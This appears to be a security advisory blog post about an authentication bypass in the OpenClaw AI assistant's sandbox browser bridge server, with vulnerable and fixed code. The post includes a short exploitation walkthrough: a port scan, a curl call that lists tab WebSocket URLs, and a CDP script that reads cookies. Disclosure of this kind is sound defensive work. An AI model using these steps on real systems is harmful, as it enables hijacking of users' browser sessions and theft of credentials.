Feb 18, 2026·6 min read·4 visits
OpenClaw forgot to turn the lock on. The sandbox bridge server initialized without credentials, defaulting to 'fail-open' mode. Local attackers can connect to the ephemeral port, access the Chrome DevTools Protocol, and hijack the browser session.
OpenClaw's sandbox browser bridge server failed to enforce authentication during initialization, allowing local attackers to bypass security controls. This failure to wire credentials turned the secure browser environment into an open proxy, permitting arbitrary Chrome DevTools Protocol (CDP) execution and session hijacking.
Modern AI assistants like OpenClaw are hungry. They want to read the web, interact with your apps, and generally be helpful digital butlers. To do this safely, they spawn 'sandboxed' browser instances—headless Chrome processes that do the heavy lifting without (theoretically) exposing the host machine to the cesspool of the internet.
To control these sandboxed browsers, OpenClaw uses a Bridge Server. Think of this as the puppet master. It listens on a local port and translates high-level commands from the AI agent into low-level Chrome DevTools Protocol (CDP) messages. It exposes endpoints like /tabs, /profiles, and crucially, the WebSocket URLs for direct debugging.
In a perfect world, this bridge is a fortress. It should require a strict handshake, a generated token, or a secret handshake known only to the parent process. But in OpenClaw versions prior to 2026.2.14, the architect forgot to install the front door. The bridge server was initialized in a state that effectively said, 'Come on in, the water's fine.'
The vulnerability here isn't a complex buffer overflow or a math wizard's crypto-break. It is a classic logic error known as Initialization Failure. The code for the bridge server (src/browser/bridge-server.ts) actually contained logic to check for authentication tokens. It wasn't completely naive. However, it suffered from a fatal design choice: Fail Open.
The logic roughly followed this path: 'If I have been given a password, I will check it. If I haven't been given a password, I assume we are in development mode or trusted territory, and I will let everyone in.'
The catastrophic failure occurred in src/agents/sandbox/browser.ts. When the main application spun up the sandbox, it simply forgot to pass the credentials to the bridge server instance. Because the server received no credentials during startup, it defaulted to its insecure state. It bound to a random ephemeral port on 127.0.0.1 and waited for commands—from anyone.
Let's look at the anatomy of the failure. The fix commits reveal exactly where the logic was lacking. In the vulnerable version, the authentication middleware was passive. It checked for the existence of a config before enforcing it.
Here is the conceptual flow of the vulnerable code:
// src/browser/bridge-server.ts (Vulnerable)
start(config) {
this.authToken = config.authToken;
app.use((req, res, next) => {
// If no token was configured, just let them through!
if (!this.authToken) {
return next();
}
// Otherwise check the header...
if (req.headers['authorization'] !== this.authToken) {
return res.sendStatus(401);
}
next();
});
}The fix (in version 2026.2.14) inverts this logic. It enforces a Fail Closed model. If the bridge server is started without a token, it panics and refuses to start. This forces the developer (and the calling code) to provide security credentials.
// src/browser/bridge-server.ts (Fixed)
start(config) {
if (!config.authToken) {
throw new Error("Security violation: Bridge server started without auth!");
}
this.authToken = config.authToken;
app.use((req, res, next) => {
// No more free passes.
// We also use constant-time comparison now to prevent timing attacks.
if (!safeEqualSecret(req.headers['authorization'], this.authToken)) {
return res.sendStatus(401);
}
next();
});
}The patch also included updates to resolveSandboxContext to ensure those tokens are actually generated and passed down, closing the loop.
Exploiting this is trivially easy for any malicious code running on the same machine (e.g., a malicious npm package, a compromised script, or a rogue employee). Because the bridge server binds to a random high port, the only hurdle is finding it.
Step 1: Reconnaissance
The attacker scans 127.0.0.1 for open ports. Since the bridge server is based on Express, it responds to HTTP requests.
# Find the port (example output)
$ netstat -an | grep LISTENING
tcp4 0 0 127.0.0.1.54321 *.* LISTENStep 2: Enumeration
The attacker queries the /tabs endpoint of the suspected ports. If they hit the OpenClaw bridge, they get a JSON list of all open tabs, including their WebSocket debugger URLs.
$ curl http://127.0.0.1:54321/tabs
[
{
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=...",
"id": "EF123...",
"title": "Bank of America - Login",
"type": "page",
"url": "https://www.bankofamerica.com",
"webSocketDebuggerUrl": "ws://127.0.0.1:54321/devtools/page/EF123..."
}
]Step 3: Hijacking
With the webSocketDebuggerUrl, the attacker has full god-mode access to that tab via CDP. They can execute arbitrary JavaScript to steal cookies, dump local storage, or navigate the browser to a malicious site.
// Attacker script connecting to the leaked WS URL
const ws = new WebSocket('ws://127.0.0.1:54321/devtools/page/EF123...');
ws.onopen = () => {
// Execute JS to steal cookies
ws.send(JSON.stringify({
id: 1,
method: "Runtime.evaluate",
params: { expression: "document.cookie" }
}));
};There is a pervasive myth among developers that binding to 127.0.0.1 is a security feature. It is not. It is merely a boundary. In a multi-user environment, or an environment where users run third-party code (like npm install), the local loopback interface is a hostile warzone.
By bypassing authentication on the bridge, OpenClaw essentially allowed any process on the user's machine to peer into the user's most sensitive browsing sessions.
If the AI assistant was logged into a corporate SSO portal, the attacker now has the session token. If the AI was summarizing a confidential email, the attacker can read it. This escalates a simple local execution privilege into a massive privacy violation and potential identity theft event.
The remediation in version 2026.2.14 is comprehensive. The developers didn't just fix the initialization bug; they hardened the entire architecture.
1. Explicit Auth Requirements: The server now throws an exception if it starts without credentials. No more fail-open defaults.
2. Constant-Time Comparison: They switched to safeEqualSecret for token validation, eliminating potential timing attacks that could allow an attacker to guess the token byte-by-byte (though checking a UUID over a local network via timing is theoretically hard, it's good practice).
3. Bridge Auth Registry: A new internal registry maps ephemeral ports to their generated tokens, ensuring that legitimate internal clients (the AI agent itself) can find and authenticate to the bridge without hardcoding secrets.
Recommendation: Update immediately. If you cannot update, disable the sandbox browser feature in your configuration file to close the attack vector completely.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw openclaw | >=2026.1.29-beta.1 <2026.2.14 | 2026.2.14 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-287 |
| Attack Vector | Local (AV:L) |
| CVSS Score | 7.1 (High) |
| Exploit Status | Trivial (No Public PoC) |
| Impact | Session Hijacking / RCE |
| Affected Component | Sandbox Browser Bridge |
Improper Authentication